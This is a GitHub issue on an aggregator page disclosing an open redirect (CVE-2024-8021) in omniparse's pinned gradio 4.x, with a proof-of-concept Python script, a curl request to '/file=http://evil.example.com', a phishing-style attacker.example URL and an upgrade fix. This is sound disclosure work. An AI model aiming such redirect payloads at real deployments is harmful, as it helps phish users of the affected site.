adithya-s-k / adithya-s-k/omniparse

Open redirect via `/file=<URL>` on pinned gradio 4.x (CVE-2024-8021)

Abierto
#114 0 comentarios 0 reacciones 0 asignados Ver en GitHub
Lenguaje dominante
Python
Estrellas
7.9k
Forks
676
Métricas de merge de PR
Sin PR fusionados en 30 d

Descripción

## Describe the bug

omniparse mounts gradio routes via `server.py:38` (`gr.mount_gradio_app(app, demo_ui, path="")`). gradio's `/file=` route, on every version in the 4.x line including the deployed `gradio==4.44.1` (resolved from `pyproject.toml:48`'s `gradio = "^4.37.1"`), unconditionally 302-redirects when the path argument looks like an HTTP URL:

```python
# gradio/routes.py:431-438 in 4.44.1
@app.get("/file={path_or_url:path}", ...)
async def file(path_or_url: str, request: fastapi.Request):
if client_utils.is_http_url_like(path_or_url):
return RedirectResponse(url=path_or_url, status_code=status.HTTP_302_FOUND)
```

No allowlist, no destination validation. An attacker who can entice a user to click `https:///file=http://attacker.example/phishing-page` redirects the victim to the attacker URL while the address bar still shows the omniparse hostname (until the redirect lands).

Reference: **CVE-2024-8021 / CWE-601 URL Redirection to Untrusted Site**. Published 2025-03-20. CVSS 6.1 (medium per NVD).

The bug is not fixed in any 4.x gradio release. The /file= URL-redirect route was removed entirely in gradio 5.x (the 6.x line returns 404 for `/file=` requests).

CWE-601 (URL Redirection to Untrusted Site).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N (4.3, medium). Lower than NVD's 6.1 because the impact is limited to phishing assistance rather than data exfiltration. Maintainer may refine.

## To Reproduce

Tested on HEAD `9d1ae83` with `uv pip install "gradio>=4.37.1,<5.0.0"` resolving to `gradio==4.44.1`.

1. Stand up the omniparse server (or any minimal gradio 4.x app — the bug is in the gradio framework, not in omniparse's own code):

```python
import gradio as gr
iface = gr.Interface(fn=lambda x: x, inputs="text", outputs="text")
iface.launch(server_name="127.0.0.1", server_port=7885, share=False)
```

2. Issue the open-redirect request:

```python
import urllib.request
class NoRedirect(urllib.request.HTTPRedirectHandler):
def http_error_302(self, req, fp, code, msg, headers): return None
http_error_301 = http_error_303 = http_error_307 = http_error_302
opener = urllib.request.build_opener(NoRedirect)
try:
opener.open("http://127.0.0.1:7885/file=http://evil.example.com", timeout=5)
except urllib.error.HTTPError as e:
print(f"HTTP {e.code} {e.reason}, Location: {e.headers.get('Location')!r}")
```

Output:

```
HTTP 302 Found, Location: 'http://evil.example.com'
```

The `Location` header reflects the attacker-supplied URL verbatim. A browser following this 302 lands on `http://evil.example.com`.

3. Curl equivalent for manual verification:

```bash
curl -i 'http://127.0.0.1:7885/file=http://evil.example.com'
```

Returns:

```
HTTP/1.1 302 Found
location: http://evil.example.com
content-length: 0
```

## Expected behavior

The `/file=` route should either reject requests where the path argument is an HTTP URL, or validate the redirect destination against an allowlist of trusted hosts. Latest gradio (`5.x` / `6.x`) removed the URL-redirect branch entirely; the same request returns `HTTP 404`.

## Suggested fix

Bump `pyproject.toml:48` from:

```
gradio = "^4.37.1"
```

to:

```
gradio = "^5.0.0"
```

or to the current 6.x line.

**Caveat**: gradio 5.x removed the `/file=URL` route and restructured the static-file serving API. If any of omniparse's own code (or downstream tooling embedded in the README markdown via `/file=`) relies on the 4.x file-serving semantics, the upgrade will require a small migration. The 5.x migration guide is at https://www.gradio.app/guides/upgrading-to-gradio-5.

If a same-major (4.x) workaround is needed temporarily, a reverse proxy in front of omniparse can drop requests matching `^/file=https?://`. This is a stopgap, not a fix.

## Additional context

- omniparse pins `gradio = "^4.37.1"` (`pyproject.toml:48`). `uv pip install` resolves to `4.44.1` today; the bug fires on this and on every 4.x release.
- I tested empirically on GPU03: PoC fires on gradio 4.44.1 with the expected `Location` header echo; PoC returns 404 on gradio 6.14.0 (latest).
- The audit pass that produced the original lib2app draft cited 3 additional CVEs in this cluster (CVE-2024-4941 LFI, CVE-2024-0964 LFI, CVE-2024-1727 CORS) plus a non-existent `cat_proof` SSRF helper. All 3 CVEs are patched in gradio 4.31.4+ (my empirical Run on 4.44.1 returned `HTTP 500` for the literal CVE-2024-4941 PoC, confirming the `check_all_files_in_cache` fix is active). The `cat_proof` claim was a draft error; no such helper exists in omniparse. This filing covers only CVE-2024-8021 because it is the only one that empirically fires on the deployed pin.
- No prior issue in this repository covers CVE-2024-8021 (issue #113 covers a different gradio CVE about multipart parser DoS).

Guía de contribución

Abrir la guía de contribución

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.